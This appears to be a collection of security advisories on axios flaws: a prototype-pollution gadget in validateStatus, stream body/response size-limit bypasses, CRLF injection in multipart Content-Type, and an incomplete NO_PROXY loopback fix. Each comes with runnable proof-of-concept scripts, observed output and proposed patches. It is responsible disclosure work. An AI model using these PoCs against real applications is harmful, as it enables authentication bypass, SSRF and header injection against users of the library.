javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } }
// mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy };
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
javascript Object.prototype.validateStatus = () => true;
2. The Gadget Trigger (Safe Code)
javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 }
3. The Execution
javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! }
4. The Impact
Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage()
After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data
Verified PoC Output
--- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500
--- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' }
Impact Analysis
- Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } }
Resources
- CWE-1321: Prototype Pollution - CWE-287: Improper Authentication - GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios - MDN: in operator - Axios GitHub Repository
Timeline
| Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |
Summary
For stream request bodies, maxBodyLength is bypassed when maxRedirects is set to 0 (native http/https transport path). Oversized streamed uploads are sent fully even when the caller sets strict body limits.
Details
Relevant flow in lib/adapters/http.js: - 556-564: maxBodyLength check applies only to buffered/non-stream data. - 681-682: maxRedirects === 0 selects native http/https transport. - 694-699: options.maxBodyLength is set, but native transport does not enforce it. - 925-945: stream is piped directly to socket (data.pipe(req)) with no Axios byte counting.
This creates a path-specific bypass for streamed uploads.
### PoC
Environment:
- Axios main at commit f7a4ee2 - Node v24.2.0
Steps: 1. Start an HTTP server that counts uploaded bytes and returns {received}. 2. Send a 2 MiB Readable stream with: - adapter: 'http' - maxBodyLength: 1024 - maxRedirects: 0
Observed: - Request succeeds; server reports received: 2097152.
Control checks: - Same stream with default/nonzero redirects: rejected with ERRFRMAXBODYLENGTHEXCEEDED. - Buffered body with maxRedirects: 0: rejected with ERRBADREQUEST.
### Impact Type: DoS / uncontrolled upstream upload / resource exhaustion. Impacted: Node.js services using streamed request bodies with maxBodyLength expecting hard enforcement, especially when following Axios guidance to use maxRedirects: 0 for streams.
Summary
When responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption.
Details In lib/adapters/http.js: - 786-789: for responseType === 'stream', Axios immediately settles with the stream. - 797-810: maxContentLength enforcement exists only in the non-stream buffering branch.
So callers may set maxContentLength and still receive/read arbitrarily large streamed responses.
PoC
Environment: - Axios main at commit f7a4ee2 - Node v24.2.0
Steps:
1. Start an HTTP server that returns a 2 MiB response body. 2. Call Axios with: - adapter: 'http' - responseType: 'stream' - maxContentLength: 1024 3. Read the returned stream fully.
Observed: - Success; full 2097152 bytes readable.
Control check: - Same endpoint with responseType: 'text' and same maxContentLength: rejected with maxContentLength size of 1024 exceeded.
Impact Type: DoS / unbounded response processing. Impacted: Node.js applications relying on maxContentLength as a safety boundary while using streamed Axios responses.
Summary The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += Content-Type: ${value.type || 'application/octet-stream'}${CRLF}; } Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing \r\n sequences 2. The proxy appends the file to a FormData and posts it via axios.post(url, formData) 3. axios calls formDataToStream(), which passes value.type unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration. Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC Prerequisites: Node.js 18+, axios (tested on 1.14.0) const http = require('http'); const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); });
server.listen(0, '127.0.0.1', async () => { const port = server.address().port;
class SpecFormData { constructor() { this.entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this.entries.push([name, value]); } Symbol.iterator { return this.entriesSymbol.iterator; } entries() { return this.entriesSymbol.iterator; } }
const fd = new SpecFormData();
fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function() { yield Buffer.from('MALICIOUS PAYLOAD'); } });
await axios.post(http://127.0.0.1:${port}/upload, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOTVULNERABLE]'); }
server.close(); });
Steps to reproduce:
1. npm install axios 2. Save the above as pocaxioscrlf.js 3. Run node pocaxioscrlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += Content-Type: ${safeType}${CRLF};
1. Executive Summary This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NOPROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NOPROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NOPROXY matching entirely and be forwarded to the configured HTTP proxy — even when NOPROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.
The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NOPROXY comparison.
The Incomplete Patch — This Finding While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.
The patch introduced a hardcoded set of recognized loopback addresses:
// lib/helpers/shouldBypassProxy.js — Line 1 const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.
As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NOPROXY protection even in the fully patched Axios 1.15.0 release.
Verification This bypass has been independently verified on:
Axios version: 1.15.0 (latest patched release) Node.js version: v22.16.0 OS: Kali Linux (rolling)
The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.
2. Deep-Dive: Technical Root Cause Analysis 2.1 Vulnerable File & Location
| Field | Detail | | ------------- | ------------- | | File | lib/helpers/shouldBypassProxy.js| | Primary Flaw| isLoopback() — Line 1–3 | | Supporting Function | shouldBypassProxy() — Line 59–110 | | Axios Version | 1.15.0 (Latest Patched Release) |
2.2 How Axios Routes HTTP Requests The Call Chain When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:
// lib/adapters/http.js — Lines 191–199 function setProxy(options, configProxy, location) { let proxy = configProxy; if (!proxy && proxy !== false) { const proxyUrl = getProxyForUrl(location); // Step 1: Read proxy env var if (proxyUrl) { if (!shouldBypassProxy(location)) { // Step 2: Check NOPROXY proxy = new URL(proxyUrl); // Step 3: Assign proxy } } } } shouldBypassProxy() is the single gatekeeper for NOPROXY enforcement. A bypass here means all proxy protection fails silently.
2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5) Before Axios 1.15.0, hostnames were compared against NOPROXY using a raw literal string match with no normalization:
Request URL → http://localhost./secret NOPROXY → "localhost,127.0.0.1,::1" Comparison: "localhost." === "localhost" → FALSE → Proxy used ← BYPASS "[::1]" === "::1" → FALSE → Proxy used ← BYPASS Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.
2.4 What the Patch Fixed (Axios 1.15.0) The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:
<img width="602" height="123" alt="01axiosversionverification" src="https://github.com/user-attachments/assets/844446f2-01fb-4933-9316-fb849c40c8f5" />
Fix A normalizeNoProxyHost() (Lines 47–57) Strips alternate representations before comparison:
const normalizeNoProxyHost = (hostname) => { if (!hostname) return hostname; // Remove IPv6 brackets: "[::1]" → "::1" if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') { hostname = hostname.slice(1, -1); } // Strip trailing FQDN dot: "localhost." → "localhost" return hostname.replace(/\.+$/, ''); }; Fix B Cross-Loopback Equivalence (Lines 1–3 & 108) Allows 127.0.0.1 and localhost to match each other interchangeably:
const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // Line 108 — Final match condition: return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // If both sides are "loopback" → treat as match
Fix C Normalization Applied on Both Sides (Lines 81 & 90)
// Request hostname normalized: const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase()); // Each NOPROXY entry normalized: entryHost = normalizeNoProxyHost(entryHost);
2.5 The Incomplete Patch Exact Root Cause The fundamental flaw resides in Line 1:
// lib/helpers/shouldBypassProxy.js — Line 1 ← ROOT CAUSE const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); // ^^^^^^^^^^^ // Only ONE IPv4 loopback address is recognized. // The entire 127.0.0.0/8 subnet is unaccounted for. // Line 3 — Lookup against this incomplete set: const isLoopback = (host) => LOOPBACKADDRESSES.has(host); // ^^^^^^^^^ // Returns FALSE for any 127.x.x.x ≠ 127.0.0.1 <img width="884" height="135" alt="02vulnerablecodeloopbackaddresses" src="https://github.com/user-attachments/assets/ba06b91e-a2d2-4a99-9e1f-8c8bfbb6d71e" />
RFC 1122 §3.2.1.3 is unambiguous:
"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."
This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.
<img width="884" height="537" alt="03rfc1122loopbackdefinition" src="https://github.com/user-attachments/assets/951eabb4-2ec6-40ef-ad00-1fd5b9aed2d0" />
2.6 Step-by-Step Bypass Execution Trace Environment:
NOPROXY = "localhost,127.0.0.1,::1" HTTPPROXY = "http://attacker-proxy:5300" Target URL = "http://127.0.0.2:9191/internal-api" Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):
// Step 1 — Parse the request URL parsed = new URL("http://127.0.0.2:9191/internal-api") hostname = "127.0.0.2" // parsed.hostname // Step 2 — Read NOPROXY environment variable noProxy = "localhost,127.0.0.1,::1" // lowercased // Step 3 — Normalize the request hostname hostname = normalizeNoProxyHost("127.0.0.2") // No brackets → skip // No trailing dot → skip // Result: "127.0.0.2" (unchanged) // Step 4 — Iterate over NOPROXY entries // Entry → "localhost" entryHost = "localhost" "127.0.0.2" === "localhost" → false isLoopback("127.0.0.2") → false ← Set.has() returns false BYPASS starts here // Entry → "127.0.0.1" entryHost = "127.0.0.1" "127.0.0.2" === "127.0.0.1" → false isLoopback("127.0.0.2") && isLoopback("127.0.0.1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Entry → "::1" entryHost = "::1" "127.0.0.2" === "::1" → false isLoopback("127.0.0.2") && isLoopback("::1") → LOOPBACKADDRESSES.has("127.0.0.2") → false ← Same failure → false // Step 5 — Final return shouldBypassProxy() → false // Axios proceeds to route the request through the configured proxy. // The attacker's proxy server receives the full request including headers // and any response from the internal service.
2.7 Why the Patch Design Is Flawed The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).
| Aspect | Original Bug | This Finding | | ------------- | ------------- | ------------- | | What was wrong | No normalization before comparison | Incomplete loopback address set| | Fix applied | Added normalizeNoProxyHost() | None set remains hardcoded | | RFC compliance | Violated RFC 1034 & RFC 3986 | Violates RFC 1122 §3.2.1.3 | | Bypass method | Alternate string representation | Alternate valid loopback address | | Impact | NOPROXY bypass → SSRF | NOPROXY bypass → SSRF (identical) |
2.8 Total Exposed Address Space Protected by patch: 127.0.0.1 (1 address) Unprotected loopback: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) Real-world services that commonly bind to non-standard loopback addresses include:
Internal microservices and admin dashboards using dedicated loopback IPs Development environments with multiple isolated service instances Docker and container bridge network configurations Test infrastructure allocating sequential loopback IPs across services
3. Comprehensive Attack Vector & Proof of Concept
3.1 Reproduction Steps
Step 1 — Create a fresh project directory mkdir axios-bypass-test && cd axios-bypass-test Step 2 — Initialize the project with the patched Axios version Create package.json:
{ "type": "module", "dependencies": { "axios": "1.15.0" } } Install dependencies:
npm install Verify the installed version:
npm list axios Expected output: axios@1.15.0
Step 3 — Create the PoC file (poc.js)
import http from 'http'; import axios from 'axios'; // ── Simulated attacker-controlled proxy server ──────────────────────────────── const PROXYPORT = 5300; http.createServer((req, res) => { console.log('\n[!] PROXY HIT — Attacker proxy received request!'); console.log( Method : ${req.method}); console.log( URL : ${req.url}); console.log( Host : ${req.headers.host}); res.writeHead(200); res.end('proxied'); }).listen(PROXYPORT); // ── Simulated developer security configuration ──────────────────────────────── // Developer believes all loopback traffic is protected by NOPROXY. process.env.HTTPPROXY = http://127.0.0.1:${PROXYPORT}; process.env.NOPROXY = 'localhost,127.0.0.1,::1'; // ── Test helper ─────────────────────────────────────────────────────────────── async function test(url) { console.log(\n[] Testing: ${url}); try { const res = await axios.get(url, { timeout: 2000 }); if (res.data === 'proxied') { console.log(' Result → [PROXIED] ← BYPASS CONFIRMED'); } else { console.log(' Result → [DIRECT] ← Safe, no proxy used'); } } catch (err) { if (err.code === 'ECONNREFUSED') { console.log(' Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy)'); } } } // ── Test execution ──────────────────────────────────────────────────────────── setTimeout(async () => { // Section A: Cases fixed by the existing patch — expected to go DIRECT console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ==='); await test('http://localhost:9191/secret'); await test('http://localhost.:9191/secret'); await test('http://[::1]:9191/secret'); // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ==='); await test('http://127.0.0.2:9191/secret'); await test('http://127.0.0.100:9191/secret'); await test('http://127.1.2.3:9191/secret'); process.exit(0); }, 500);
Step 4 — Execute the PoC
node poc.js
3.2 Observed Output The following output was captured during testing on Kali Linux with Axios 1.15.0:
=== PATCHED CASES (Expected: All requests bypass the proxy) === [] Testing: http://localhost:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://localhost.:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) [] Testing: http://[::1]:9191/secret Result → [DIRECT] ← ECONNREFUSED (request did not go through proxy) === BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) === [] Testing: http://127.0.0.2:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.2:9191/secret Host : 127.0.0.2:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.0.0.100:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.0.0.100:9191/secret Host : 127.0.0.100:9191 Result → [PROXIED] ← BYPASS CONFIRMED [] Testing: http://127.1.2.3:9191/secret [!] PROXY HIT — Attacker proxy received request! Method : GET URL : http://127.1.2.3:9191/secret Host : 127.1.2.3:9191 Result → [PROXIED] ← BYPASS CONFIRMED <img width="1621" height="739" alt="05pocexecutionbypassconfirmed" src="https://github.com/user-attachments/assets/6caf9f7a-36ed-4feb-b9f3-f82532da2de7" />
3.3 Analysis of Results The output conclusively demonstrates the following:
Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.
Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.
This confirms that the NOPROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.
4. Impact Assessment This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NOPROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.
4.1 Who Is Impacted?
Primary Target — Node.js Backend Applications Any Node.js application that meets all three of the following conditions is vulnerable:
Condition 1: Uses Axios 1.15.0 (latest patched) for HTTP requests Condition 2: Has HTTPPROXY or HTTPSPROXY set in its environment (common in corporate networks, cloud deployments, containerised environments, and CI/CD pipelines) Condition 3: Relies on NOPROXY=localhost,127.0.0.1,::1 (or similar) to protect loopback or internal services from proxy routing Affected Deployment Environments | Environment | Risk Level | | ------------- | ------------- | | Cloud-hosted applications (AWS, GCP, Azure) | Critical| | Containerised microservices (Docker, Kubernetes) | Critical| | Corporate networks with mandatory proxy | High| | CI/CD pipelines with proxy environment variables | High| | On-premise servers with internal proxy | High|
Scale of Exposure Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.
4.3 Impact Details
Impact 1 Silent Interception of Internal Service Traffic
When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.
Developer expects: Application → 127.0.0.2:8080 (direct) Actual behaviour: Application → Attacker Proxy → 127.0.0.2:8080 The proxy receives: - Full request URL - HTTP method - All request headers (including Authorization, Cookie, API keys) - Request body (for POST/PUT requests) - Full response from the internal service The developer receives no error or warning. From the application's perspective, the request succeeds normally.
Impact 2 — SSRF Mitigation Bypass Many applications implement SSRF protections by configuring NOPROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.
SSRF Protection (as configured by developer): NOPROXY = localhost,127.0.0.1,::1 What developer believes is protected: All loopback/internal addresses What is actually protected: Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses) What remains exposed: 127.0.0.2 through 127.255.255.254 (16,777,213 addresses) An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.
Impact 3 — Cloud Metadata Service Exposure In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.
While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:
Retrieve temporary IAM credentials Access environment variables containing secrets Enumerate internal service configurations Pivot to other internal services via the compromised credentials
Impact 4 — Confidential Data Exfiltration Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:
| Internal Service Type | Exposed Data | | ------------- | ------------- | | Admin panels / dashboards | User data, configuration, logs | | Internal APIs | Business logic, database contents | | Secret managers / vaults | API keys, tokens, certificates | | Health check endpoints | Infrastructure topology | | Development services | Source code, environment variables |
Impact 5 — No Indication of Compromise A particularly dangerous characteristic of this vulnerability is that it is completely silent neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application's perspective, making detection extremely difficult without active network monitoring.
4.4 Comparison with Original Vulnerability
| Internal Service Type | Exposed Data | Exposed Data | | ------------- | ------------- | ------------- | | Attack method | Use localhost. or [::1]| Use any 127.x.x.x ≠ 127.0.0.1 | | Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | | CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | | Attacker effort| Trivial | Trivial | | Detection by developer | None | None | | Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) |
The severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.
5. Technical Remediation & Proposed Fix
5.1 Vulnerable Code Block
The vulnerability resides in lib/helpers/shouldBypassProxy.js at lines 1–3. The following is the exact code extracted from Axios 1.15.0:
// lib/helpers/shouldBypassProxy.js — Axios 1.15.0 // Lines 1–3 (VULNERABLE) const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); const isLoopback = (host) => LOOPBACKADDRESSES.has(host); This hardcoded Set is subsequently used at line 108 during the final NOPROXY match evaluation:
// lib/helpers/shouldBypassProxy.js — Line 108 (VULNERABLE USAGE) return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost)); // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // isLoopback("127.0.0.2") → LOOPBACKADDRESSES.has("127.0.0.2") → FALSE // This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1 Why this is dangerous: The Set performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns false, causing shouldBypassProxy() to return false and silently route the request through the configured proxy.
5.2 Proposed Patched Code Replace lines 1–3 in lib/helpers/shouldBypassProxy.js with the following RFC-compliant implementation:
// lib/helpers/shouldBypassProxy.js // Lines 1–3 (PROPOSED FIX — RFC 1122 §3.2.1.3 Compliant) const isLoopback = (host) => { // Named loopback hostname if (host === 'localhost') return true; // IPv6 loopback address if (host === '::1') return true; // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 §3.2.1.3) // Matches any address from 127.0.0.0 through 127.255.255.254 const parts = host.split('.'); return ( parts.length === 4 && parts[0] === '127' && parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) ); }; 5.3 Diff View — Before vs After
// lib/helpers/shouldBypassProxy.js - const LOOPBACKADDRESSES = new Set(['localhost', '127.0.0.1', '::1']); - - const isLoopback = (host) => LOOPBACKADDRESSES.has(host); + const isLoopback = (host) => { + if (host === 'localhost') return true; + if (host === '::1') return true; + const parts = host.split('.'); + return ( + parts.length === 4 && + parts[0] === '127' && + parts.every((p) => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255) + ); + }; All other code in shouldBypassProxy.js remains unchanged. No other files require modification.
5.4 Why This Fix Must Be Applied
Reason 1 — RFC 1122 Compliance
The current implementation violates RFC 1122 §3.2.1.3, which defines the entire 127.0.0.0/8 block as the IPv4 loopback address range not just the single address 127.0.0.1. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.
RFC 1122 §3.2.1.3: "The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network." Current fix covers : 3 addresses (localhost, 127.0.0.1, ::1) Proposed fix covers : 16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
Reason 2 — The Existing Patch Has Already Failed Once
The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NOPROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting 127.0.0.1 with any other address in the 127.0.0.0/8 range. Leaving this gap unaddressed means that the patch creates a false sense of security developers believe their loopback traffic is protected when it is not.
Reason 3 — Real Operating System Behaviour On Linux the dominant platform for Node.js server deployments the kernel routes the entire 127.0.0.0/8 subnet to the loopback interface lo by default. This means any address in that range functions identically to 127.0.0.1 at the networking level.
Linux routing table — default configuration $ ip route show table local | grep "127" local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1 Proof: 127.0.0.2 is a valid loopback address on Linux $ ping -c 1 127.0.0.2 PING 127.0.0.2: 56 data bytes 64 bytes from 127.0.0.2: icmpseq=0 ttl=64 time=0.045 ms
<img width="711" height="181" alt="04linuxloopbacksubnetproof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" />
Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.
<img width="588" height="198" alt="06ping127 0 0 2loopbackconfirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" />
Reason 4 — The Proposed Fix Has Zero Performance Impact The existing solution uses a Set.has() lookup an O(1) operation. The proposed fix replaces this with:
1. Two direct string comparisons ('localhost', '::1') — O(1) 2. A split('.') and array validation — O(1) with a fixed-length array of 4 elements The computational cost is equivalent or lower than the current approach, and the fix introduces no new external dependencies.
Reason 5 — The Fix Is Minimal and Surgical The proposed change modifies only 3 lines of a single file. It does not alter:
The parseNoProxyEntry() function The normalizeNoProxyHost() function The shouldBypassProxy() main function logic Any other file in the codebase This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.
Reason 6 — Resilient to Alternative IP Encodings Because Axios normalises the request URL using Node's native new URL() parser before passing it to shouldBypassProxy(), alternative IP encodings (such as octal 0177.0.0.1, hex 0x7f.0.0.1, or integer 2130706433) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed .split('.') validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.
